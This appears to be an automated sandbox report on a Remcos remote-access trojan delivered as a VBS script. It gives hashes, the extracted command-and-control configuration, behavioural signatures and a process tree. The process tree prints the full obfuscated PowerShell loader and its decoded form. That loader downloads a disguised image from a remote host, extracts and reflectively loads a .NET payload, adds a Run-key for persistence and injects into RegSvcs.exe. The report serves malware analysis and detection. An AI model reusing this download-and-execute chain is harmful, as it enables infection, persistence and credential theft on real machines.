remcos | a46173f3115e45f7a55120e49b3a625d5198d1ea0b600a174ad05a27b9d3f92d

Analysis

max time kernel
148s
max time network
148s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
16-05-2024 15:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a46173f3115e45f7a55120e49b3a625d5198d1ea0b600a174ad05a27b9d3f92d.vbs
Size

156KB
MD5

8a2a1b975419f7619d9580c2974ecdbc
SHA1

684125ffbbb03a5c1950976f8730d68dd01e5a63
SHA256

a46173f3115e45f7a55120e49b3a625d5198d1ea0b600a174ad05a27b9d3f92d
SHA512

02c6faa7fb9ecfeacc31468766a4ec7697d3a54c3dd0b98d9e0876c1135e468175f2e62a4344210843b9fff8e32068b65119d4a29b871c2414b11426d6dadb22
SSDEEP

1536:ZlGd99CObiFCocEW1aJK66n5yhtW0/5JpWn4ctDg0BhbUZlu9gISsRf:bGdw9JK6X/vcxg0Bhcg

Score

10^/10

remcos protected collection execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Protected

janbours92harbu01.duckdns.org:3980

janbours92harbu01.duckdns.org:3981

janbours92harbu02.duckdns.org:3980

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
kajsoiestc.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
aksoiestgb-1YOAXH
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral1/memory/2268-152-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral1/memory/1768-154-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1768-154-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/2304-155-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/2268-152-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

Blocklisted process makes network request 6 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

4 1808 WScript.exe
6 1808 WScript.exe
10 2880 powershell.exe
12 2880 powershell.exe
14 2880 powershell.exe
18 2880 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2580 powershell.exe
2880 powershell.exe

flow	pid	process
4	1808	WScript.exe
6	1808	WScript.exe
10	2880	powershell.exe
12	2880	powershell.exe
14	2880	powershell.exe
18	2880	powershell.exe

pid	process
2580	powershell.exe
2880	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

RegSvcs.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegSvcs.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\radiantemente.vbs"	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeRegSvcs.exe

description	pid	process	target process
PID 2880 set thread context of 2060	2880	powershell.exe	RegSvcs.exe
PID 2060 set thread context of 1768	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 set thread context of 2268	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 set thread context of 2304	2060	RegSvcs.exe	RegSvcs.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exeRegSvcs.exe

pid process

2580 powershell.exe
2880 powershell.exe
2880 powershell.exe
2880 powershell.exe
2880 powershell.exe
2880 powershell.exe
1768 RegSvcs.exe
1768 RegSvcs.exe
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

RegSvcs.exe

pid process

2060 RegSvcs.exe
2060 RegSvcs.exe
2060 RegSvcs.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegSvcs.exe

description pid process

Token: SeDebugPrivilege 2580 powershell.exe
Token: SeDebugPrivilege 2880 powershell.exe
Token: SeDebugPrivilege 2304 RegSvcs.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegSvcs.exe

pid process

2060 RegSvcs.exe

pid	process
2580	powershell.exe
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
1768	RegSvcs.exe
1768	RegSvcs.exe

pid	process
2060	RegSvcs.exe
2060	RegSvcs.exe
2060	RegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2304	RegSvcs.exe

pid	process
2060	RegSvcs.exe

Suspicious use of WriteProcessMemory 63 IoCs

Processes:

WScript.exepowershell.exepowershell.exeRegSvcs.exe

description	pid	process	target process
PID 1808 wrote to memory of 2580	1808	WScript.exe	powershell.exe
PID 1808 wrote to memory of 2580	1808	WScript.exe	powershell.exe
PID 1808 wrote to memory of 2580	1808	WScript.exe	powershell.exe
PID 2580 wrote to memory of 2880	2580	powershell.exe	powershell.exe
PID 2580 wrote to memory of 2880	2580	powershell.exe	powershell.exe
PID 2580 wrote to memory of 2880	2580	powershell.exe	powershell.exe
PID 2880 wrote to memory of 1520	2880	powershell.exe	cmd.exe
PID 2880 wrote to memory of 1520	2880	powershell.exe	cmd.exe
PID 2880 wrote to memory of 1520	2880	powershell.exe	cmd.exe
PID 2880 wrote to memory of 1756	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1756	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1756	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1756	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1756	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1756	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1756	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1264	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1264	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1264	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1264	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1264	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1264	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 1264	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2880 wrote to memory of 2060	2880	powershell.exe	RegSvcs.exe
PID 2060 wrote to memory of 1768	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 1768	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 1768	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 1768	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 1768	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 1768	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 1768	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 1768	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2268	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2268	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2268	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2268	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2268	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2268	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2268	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2268	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2304	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2304	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2304	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2304	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2304	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2304	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2304	2060	RegSvcs.exe	RegSvcs.exe
PID 2060 wrote to memory of 2304	2060	RegSvcs.exe	RegSvcs.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a46173f3115e45f7a55120e49b3a625d5198d1ea0b600a174ad05a27b9d3f92d.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreDMDgTreMgBkDgTreDMDgTreMgDgTre2DgTreDEDgTreNgDgTre1DgTreGMDgTreYgBiDgTreC0DgTreMDgTreDgTre0DgTreGYDgTreOQDgTretDgTreGIDgTreMgDgTreyDgTreDQDgTreLQDgTre2DgTreDYDgTreMDgTreDgTre0DgTreC0DgTreZDgTreDgTrewDgTreDgDgTreODgTreDgTrezDgTreDIDgTreZQBmDgTreD0DgTrebgBlDgTreGsDgTrebwB0DgTreCYDgTreYQBpDgTreGQDgTreZQBtDgTreD0DgTredDgTreBsDgTreGEDgTrePwB0DgTreHgDgTredDgTreDgTreuDgTreDEDgTreMDgTreDgTre1DgTreDDgTreDgTreNQDgTrexDgTreHMDgTrebwBjDgTreG0DgTreZQByDgTreHIDgTrebwBzDgTreHMDgTreZQBmDgTreG8DgTrecgBwDgTreC8DgTrebwDgTrevDgTreG0DgTrebwBjDgTreC4DgTredDgTreBvDgTreHDgTreDgTrecwBwDgTreHDgTreDgTreYQDgTreuDgTreGYDgTreYwDgTre3DgTreGEDgTreYgDgTretDgTreDQDgTreMgDgTrewDgTreDIDgTreaDgTreBjDgTreHIDgTreYQBtDgTreC8DgTreYgDgTrevDgTreDDgTreDgTredgDgTrevDgTreG0DgTrebwBjDgTreC4DgTrecwBpDgTreHDgTreDgTreYQBlDgTreGwDgTreZwBvDgTreG8DgTreZwDgTreuDgTreGUDgTreZwBhDgTreHIDgTrebwB0DgTreHMDgTreZQBzDgTreGEDgTreYgBlDgTreHIDgTreaQBmDgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreMQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreQwDgTre6DgTreFwDgTreUDgTreByDgTreG8DgTreZwByDgTreGEDgTrebQBEDgTreGEDgTredDgTreBhDgTreFwDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreHIDgTreYQBkDgTreGkDgTreYQBuDgTreHQDgTreZQBtDgTreGUDgTrebgB0DgTreGUDgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreUwB2DgTreGMDgTrecwDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('32d326165cbb-04f9-b224-6604-d08832ef=nekot&aidem=tla?txt.105051socmerrosseforp/o/moc.topsppa.fc7ab-4202hcram/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , '1' , 'C:\ProgramData\' , 'radiantemente','RegSvcs',''))} }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2880
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\radiantemente.vbs"
      4⤵
      PID:1520
  - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:1756
  - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:1264
  - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2060
    - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
        
